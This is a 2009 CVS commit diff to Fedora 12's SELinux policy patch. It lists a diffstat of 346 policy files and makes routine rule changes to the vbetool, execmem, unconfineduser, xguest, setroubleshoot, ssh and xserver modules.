 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   67 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   31 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    1 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   57 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   34 
 policy/modules/apps/execmem.if            |   70 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   12 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  183 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   28 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   34 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    8 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  410 ++++++++
 policy/modules/roles/unprivuser.te        |  131 --
 policy/modules/roles/xguest.te            |   36 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   21 
 policy/modules/services/abrt.te           |   21 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  438 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   18 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   35 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   11 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    7 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.te           |   10 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   86 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   58 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   21 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   33 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  205 +++-
 policy/modules/system/authlogin.te        |    9 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  159 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.if        |   38 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  227 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   76 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1430 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 346 files changed, 16437 insertions(+), 2632 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- policy-F12.patch	7 Oct 2009 20:56:21 -0000	1.102
+++ policy-F12.patch	8 Oct 2009 19:51:54 -0000	1.103
@@ -1568,8 +1568,8 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/vbetool.te serefpolicy-3.6.32/policy/modules/admin/vbetool.te
 --- nsaserefpolicy/policy/modules/admin/vbetool.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/vbetool.te	2009-09-30 16:12:48.000000000 -0400
-@@ -15,15 +15,22 @@
++++ serefpolicy-3.6.32/policy/modules/admin/vbetool.te	2009-10-08 14:37:24.000000000 -0400
+@@ -15,15 +15,20 @@
  # Local policy
  #
  
@@ -1588,13 +1588,11 @@ diff -b -B --ignore-all-space --exclude-
 +domain_mmap_low_type(vbetool_t)
 +tunable_policy(`mmap_low_allowed',`
  domain_mmap_low(vbetool_t)
-+', `
-+dontaudit vbetool_t self:memprotect mmap_zero;
 +')
  
  term_use_unallocated_ttys(vbetool_t)
  
-@@ -34,3 +41,8 @@
+@@ -34,3 +39,8 @@
  	hal_write_log(vbetool_t)
  	hal_dontaudit_append_lib_files(vbetool_t)
  ')
@@ -1809,8 +1807,8 @@ diff -b -B --ignore-all-space --exclude-
  	dbus_system_domain(cpufreqselector_t, cpufreqselector_exec_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.fc serefpolicy-3.6.32/policy/modules/apps/execmem.fc
 --- nsaserefpolicy/policy/modules/apps/execmem.fc	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/execmem.fc	2009-10-06 16:12:55.000000000 -0400
-@@ -0,0 +1,33 @@
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.fc	2009-10-08 10:58:36.000000000 -0400
+@@ -0,0 +1,34 @@
 +/usr/bin/darcs 		--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/bin/haddock.*  	--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/bin/hasktags   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
@@ -1820,6 +1818,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/bin/skype		--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/bin/valgrind	--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/sbin/vboxadd-service 	--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/sbin/VBox.* 	--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +
 +/opt/real/(.*/)?realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +
@@ -1846,7 +1845,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.if serefpolicy-3.6.32/policy/modules/apps/execmem.if
 --- nsaserefpolicy/policy/modules/apps/execmem.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-02 10:33:33.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-08 09:29:38.000000000 -0400
 @@ -0,0 +1,70 @@
 +## <summary>execmem domain</summary>
 +
@@ -8391,8 +8390,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/unconfineduser.te serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te
 --- nsaserefpolicy/policy/modules/roles/unconfineduser.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-05 09:44:21.000000000 -0400
-@@ -0,0 +1,401 @@
++++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-08 15:41:51.000000000 -0400
+@@ -0,0 +1,410 @@
 +policy_module(unconfineduser, 1.0.0)
 +
 +########################################
@@ -8702,6 +8701,10 @@ diff -b -B --ignore-all-space --exclude-
 +')
 +
 +optional_policy(`
++	vbetool_run(unconfined_t, unconfined_r)
++')
++
++optional_policy(`
 +	vpn_run(unconfined_t, unconfined_r)
 +')
 +
@@ -8766,6 +8769,7 @@ diff -b -B --ignore-all-space --exclude-
 +optional_policy(`
 +	gen_require(`
 +		type mplayer_exec_t;
++		type unconfined_execmem_t;
 +	')
 +	domtrans_pattern(unconfined_t, mplayer_exec_t, unconfined_execmem_t)
 +')
@@ -8774,14 +8778,18 @@ diff -b -B --ignore-all-space --exclude-
 +tunable_policy(`allow_unconfined_nsplugin_transition',`', `
 +	gen_require(`
 +		type mozilla_exec_t;
++		type unconfined_execmem_t;
++		type nsplugin_exec_t;
 +	')
 +	domtrans_pattern(unconfined_t, mozilla_exec_t, unconfined_execmem_t)
++	domtrans_pattern(unconfined_t, nsplugin_exec_t, unconfined_execmem_t)
 +')
 +')
 +
 +optional_policy(`
 +	gen_require(`
 +		type openoffice_exec_t;
++		type unconfined_execmem_t;
 +	')
 +	domtrans_pattern(unconfined_t, openoffice_exec_t, unconfined_execmem_t)
 +')
@@ -8947,8 +8955,28 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/xguest.te serefpolicy-3.6.32/policy/modules/roles/xguest.te
 --- nsaserefpolicy/policy/modules/roles/xguest.te	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/roles/xguest.te	2009-10-06 15:49:56.000000000 -0400
-@@ -36,11 +36,17 @@
++++ serefpolicy-3.6.32/policy/modules/roles/xguest.te	2009-10-08 15:30:50.000000000 -0400
+@@ -31,16 +31,37 @@
+ 
+ userdom_restricted_xwindows_user_template(xguest)
+ 
++ifndef(`enable_mls',`
++	fs_exec_noxattr(xguest_t)
++
++	tunable_policy(`user_rw_noexattrfile',`
++		fs_manage_noxattr_fs_files(xguest_t)
++		fs_manage_noxattr_fs_dirs(xguest_t)
++		# Write floppies 
++		storage_raw_read_removable_device(xguest_t)
++		storage_raw_write_removable_device(xguest_t)
++	',`
++		storage_raw_read_removable_device(xguest_t)
++	')
++')
++storage_rw_fuse(xguest_t)
++
+ ########################################
+ #
  # Local policy
  #
  
@@ -8966,7 +8994,7 @@ diff -b -B --ignore-all-space --exclude-
  		files_dontaudit_getattr_boot_dirs(xguest_t)
  		files_search_mnt(xguest_t)
  
-@@ -49,6 +55,7 @@
+@@ -49,6 +70,7 @@
  		fs_manage_noxattr_fs_dirs(xguest_t)
  		fs_getattr_noxattr_fs(xguest_t)
  		fs_read_noxattr_fs_symlinks(xguest_t)
@@ -8974,7 +9002,7 @@ diff -b -B --ignore-all-space --exclude-
  
  		auth_list_pam_console_data(xguest_t)
  
-@@ -67,7 +74,11 @@
+@@ -67,7 +89,11 @@
  ')
  
  optional_policy(`
@@ -8987,7 +9015,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -75,9 +86,15 @@
+@@ -75,9 +101,15 @@
  ')
  
  optional_policy(`
@@ -18949,7 +18977,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/setroubleshoot.te serefpolicy-3.6.32/policy/modules/services/setroubleshoot.te
 --- nsaserefpolicy/policy/modules/services/setroubleshoot.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/setroubleshoot.te	2009-10-05 11:42:06.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/setroubleshoot.te	2009-10-08 12:25:22.000000000 -0400
 @@ -22,13 +22,19 @@
  type setroubleshoot_var_run_t;
  files_pid_file(setroubleshoot_var_run_t)
@@ -19011,7 +19039,7 @@ diff -b -B --ignore-all-space --exclude-
  
  selinux_get_enforce_mode(setroubleshootd_t)
  selinux_validate_context(setroubleshootd_t)
-@@ -94,23 +113,74 @@
+@@ -94,23 +113,75 @@
  
  locallogin_dontaudit_use_fds(setroubleshootd_t)
  
@@ -19062,6 +19090,7 @@ diff -b -B --ignore-all-space --exclude-
 +corecmd_exec_shell(setroubleshoot_fixit_t)
 +
 +seutil_domtrans_restorecon(setroubleshoot_fixit_t)
++seutil_domtrans_setsebool(setroubleshoot_fixit_t)
 +
 +files_read_usr_files(setroubleshoot_fixit_t)
 +files_read_etc_files(setroubleshoot_fixit_t)
@@ -19715,7 +19744,7 @@ diff -b -B --ignore-all-space --exclude-
 +/root/\.ssh(/.*)?			gen_context(system_u:object_r:home_ssh_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/ssh.if serefpolicy-3.6.32/policy/modules/services/ssh.if
 --- nsaserefpolicy/policy/modules/services/ssh.if	2009-07-23 14:11:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/ssh.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/ssh.if	2009-10-08 09:12:21.000000000 -0400
 @@ -36,6 +36,7 @@
  	gen_require(`
  		attribute ssh_server;
@@ -19830,15 +19859,16 @@ diff -b -B --ignore-all-space --exclude-
  
  	allow $1_t $1_devpts_t:chr_file { rw_chr_file_perms setattr getattr relabelfrom };
  	term_create_pty($1_t,$1_devpts_t)
-@@ -206,6 +198,7 @@
+@@ -206,6 +198,8 @@
  	allow $1_t sshd_key_t:file read_file_perms;
  
  	kernel_read_kernel_sysctls($1_t)
 +	kernel_read_network_state($1_t)
++	kernel_request_load_module(ssh_t)
  
  	corenet_all_recvfrom_unlabeled($1_t)
  	corenet_all_recvfrom_netlabel($1_t)
-@@ -221,7 +214,12 @@
+@@ -221,7 +215,12 @@
  	corenet_udp_bind_generic_node($1_t)
  	corenet_tcp_bind_ssh_port($1_t)
  	corenet_tcp_connect_all_ports($1_t)
@@ -19851,7 +19881,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	fs_dontaudit_getattr_all_fs($1_t)
  
-@@ -237,18 +235,23 @@
+@@ -237,18 +236,23 @@
  
  	files_read_etc_files($1_t)
  	files_read_etc_runtime_files($1_t)
@@ -19877,7 +19907,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	tunable_policy(`use_samba_home_dirs',`
-@@ -257,15 +260,11 @@
+@@ -257,15 +261,11 @@
  
  	optional_policy(`
  		kerberos_use($1_t)
@@ -19895,7 +19925,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	optional_policy(`
-@@ -337,6 +336,7 @@
+@@ -337,6 +337,7 @@
  	allow ssh_t $3:unix_stream_socket connectto;
  
  	# user can manage the keys and config
@@ -19903,7 +19933,7 @@ diff -b -B --ignore-all-space --exclude-
  	manage_files_pattern($3, home_ssh_t, home_ssh_t)
  	manage_lnk_files_pattern($3, home_ssh_t, home_ssh_t)
  	manage_sock_files_pattern($3, home_ssh_t, home_ssh_t)
-@@ -446,6 +446,24 @@
+@@ -446,6 +447,24 @@
  
  ########################################
  ## <summary>
@@ -19928,7 +19958,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Read a ssh server unnamed pipe.
  ## </summary>
  ## <param name="domain">
-@@ -461,6 +479,23 @@
+@@ -461,6 +480,23 @@
  
  	allow $1 sshd_t:fifo_file { getattr read };
  ')
@@ -19952,7 +19982,7 @@ diff -b -B --ignore-all-space --exclude-
  
  ########################################
  ## <summary>
-@@ -603,3 +638,83 @@
+@@ -603,3 +639,83 @@
  
  	dontaudit $1 sshd_key_t:file { getattr read };
  ')
@@ -20038,7 +20068,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/ssh.te serefpolicy-3.6.32/policy/modules/services/ssh.te
 --- nsaserefpolicy/policy/modules/services/ssh.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/ssh.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/ssh.te	2009-10-08 09:12:07.000000000 -0400
 @@ -41,6 +41,9 @@
  files_tmp_file(sshd_tmp_t)
  files_poly_parent(sshd_tmp_t)
@@ -20994,7 +21024,7 @@ diff -b -B --ignore-all-space --exclude-
  corenet_tcp_connect_http_port(httpd_w3c_validator_script_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/xserver.fc serefpolicy-3.6.32/policy/modules/services/xserver.fc
 --- nsaserefpolicy/policy/modules/services/xserver.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/xserver.fc	2009-10-02 07:35:59.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/xserver.fc	2009-10-08 09:26:09.000000000 -0400
 @@ -3,12 +3,17 @@
  #
  HOME_DIR/\.fonts\.conf	--	gen_context(system_u:object_r:user_fonts_config_t,s0)
@@ -21035,7 +21065,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/bin/xauth		--	gen_context(system_u:object_r:xauth_exec_t,s0)
  /usr/bin/Xorg		--	gen_context(system_u:object_r:xserver_exec_t,s0)
  ifdef(`distro_debian', `
-@@ -89,16 +91,29 @@
+@@ -89,16 +91,31 @@
  
  /var/[xgk]dm(/.*)?		gen_context(system_u:object_r:xserver_log_t,s0)
  
@@ -21043,6 +21073,8 @@ diff -b -B --ignore-all-space --exclude-
 +/var/lib/[gxkw]dm(/.*)?		gen_context(system_u:object_r:xdm_var_lib_t,s0)
  /var/lib/xkb(/.*)?		gen_context(system_u:object_r:xkb_var_lib_t,s0)
 +/var/lib/xorg(/.*)?		gen_context(system_u:object_r:xserver_var_lib_t,s0)
++
++/var/cache/gdm(/.*)?		gen_context(system_u:object_r:xdm_var_lib_t,s0)
  
 -/var/log/[kw]dm\.log	--	gen_context(system_u:object_r:xserver_log_t,s0)
 -/var/log/gdm(/.*)?		gen_context(system_u:object_r:xserver_log_t,s0)
@@ -21755,7 +21787,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/xserver.te serefpolicy-3.6.32/policy/modules/services/xserver.te
 --- nsaserefpolicy/policy/modules/services/xserver.te	2009-08-28 14:58:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/xserver.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/xserver.te	2009-10-08 08:58:37.000000000 -0400
 @@ -34,6 +34,13 @@
  
  ## <desc>
@@ -21935,7 +21967,7 @@ diff -b -B --ignore-all-space --exclude-
  allow xdm_t self:appletalk_socket create_socket_perms;
  allow xdm_t self:key { search link write };
  
-+allow xdm_t xauth_home_t:file rw_file_perms;
++allow xdm_t xauth_home_t:file manage_file_perms;
 +
  allow xdm_t xconsole_device_t:fifo_file { getattr setattr };
 +manage_dirs_pattern(xdm_t, xkb_var_lib_t, xkb_var_lib_t)
@@ -23238,7 +23270,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/init.te serefpolicy-3.6.32/policy/modules/system/init.te
 --- nsaserefpolicy/policy/modules/system/init.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/init.te	2009-09-30 16:12:48.000000000 -0400
